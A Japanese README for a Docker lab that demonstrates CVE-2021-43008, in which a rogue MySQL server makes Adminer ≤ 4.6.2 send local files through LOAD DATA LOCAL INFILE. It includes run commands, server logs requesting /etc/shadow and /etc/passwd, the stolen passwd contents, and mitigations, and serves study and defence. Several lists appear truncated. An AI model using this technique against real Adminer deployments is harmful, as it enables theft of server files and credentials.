
Adminerの脆弱性CVE-2021-43008のデモ環境:実際の影響を観察し、緩和策をテストする。
Adminer は、MySQL、PostgreSQL、SQLite、SQL Server のデータベースを簡単に管理できる Web ツール(PHP)です。軽量な phpMyAdmin の代替としてよく使われます。
影響を受けるバージョン: Adminer ≤ 4.6.2
Adminer は 任意のリモート MySQL サーバー への接続を許可します。しかし、MySQL サーバーに接続する際、クライアント(ここでは Adminer)は次のものを受け入れます:
脆弱性のあるバージョンでは、Adminer は MySQL サーバーからの応答を 正しく 検証しません。
結果: 攻撃者が制御する MySQL サーバーは次のように要求できます:
「Adminer をホストしているマシンまたはコンテナ上のこのローカルファイルを読み取り、私に送信してください。」
このメカニズムは MySQL パケットに関連しています:
0xFB | ファイル名 → ローカルファイルの読み取りをトリガーします。
Adminer 4.6.2 では、ユーザーが 外部 MySQL サーバーを指定 し、自由に接続することができました。さらに、MySQL ではデフォルトで次の使用が許可されていました:
LOAD DATA LOCAL INFILEつまり: Adminer → 悪意のあるサーバーに接続 → 悪意のあるサーバーがファイルを要求 → Adminer がそれを送信。
これが脆弱性の本質です。
攻撃者は以下を行う必要があります:
LOAD DATA LOCAL INFILE パケットを送信する。ローカルファイルを抜き出すために root パスワードは不要です。Adminer がターゲットサーバー上で PHP アプリケーションとしてアクションを実行するからです。
攻撃者は以下を読み取ることができます:
盗んだ MySQL 資格情報(二次的なステップ)を使って、攻撃者は:
PoC は 隔離 された コンテナ化 された環境で実施され、リスクを回避します。
localhost:8080 でローカル公開0xFB ファイル名 パケットを送信し、Adminer にローカルファイルを読み取らせます。adminer_CVE-2021-43008/
│
├── README.md
├── docker-compose.yml
│
└──rogue_mysql_server/
├── rogue_mysql_server.py
├── requirements.txt
└── Dockerfile
docker compose build && docker compose up -d
http://localhost:8080 で:
rogue_mysql:33306LOAD DATA LOCAL INFILE '/etc/passwd' を返す。/etc/passwd を読み取る。stolen_file.txt に保存。次のコマンドで rogue のログを確認:
docker logs -f rogue_mysql
期待される出力:
2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
2025-11-27 17:02:55,214:INFO:Last packet
2025-11-27 17:02:55,214:INFO:Query
2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
2025-11-27 17:02:55,215:INFO:-- Received file data
2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
2025-11-27 17:02:55,216:INFO:Last packet
2025-11-27 17:02:55,216:INFO:Query
2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
2025-11-27 17:02:55,216:INFO:-- Received file data
2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
stolen_file.txt の内容を確認:
docker exec -it rogue_mysql sh
コンテナ内で、stolen_file.txt などのファイルの内容を表示:
# ls
mysql.log requirements.txt rogue_mysql_server.py stolen_file.txt
# cat stolen_file.txt
結果:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
この結果は、脆弱性を明確に示しています。
最も信頼性の高い解決策: Adminer ≥ 4.6.3 にアップグレード
それ以降のバージョンではネットワーク動作が修正されています。
Adminer 4.7.x 以降では、いくつかの保護が導入されました:
Adminer はデフォルトで LOAD DATA LOCAL INFILE を禁止するようになりました。
つまり:
→ 結果: Rogue MySQL はファイルを抜き出せなくなります。
Adminer はサーバーに送信する前にクライアントのアクションをフィルタリングします。
これにより、外部接続が危険な機能を使用するのを防ぎます。
追加の入力検証メカニズム
新しいバージョンでは以下をチェックします:
Adminer を内部ホストのみに制限:
本番環境の Adminer は 常に 内部 MySQL を指すようにすべきです。
LOCAL INFILE を無効にする正規の MySQL クライアント経由の盗難を防ぐ:
[mysqld]
local_infile=0
または:
SET GLOBAL local_infile=0;
Adminer はインターネットからアクセス可能にしてはいけません。
本番環境では:
Adminer は 一時的 なツールと見なすべき:
CVE-2021-43008 は Adminer ≤ 4.6.2 の深刻な脆弱性であり、次のことを可能にします:
これは以下の重要性を示す完璧な例です: